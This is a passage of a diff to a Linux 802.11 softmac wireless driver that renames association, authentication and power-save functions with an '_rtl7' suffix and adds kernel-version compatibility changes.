+ + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ 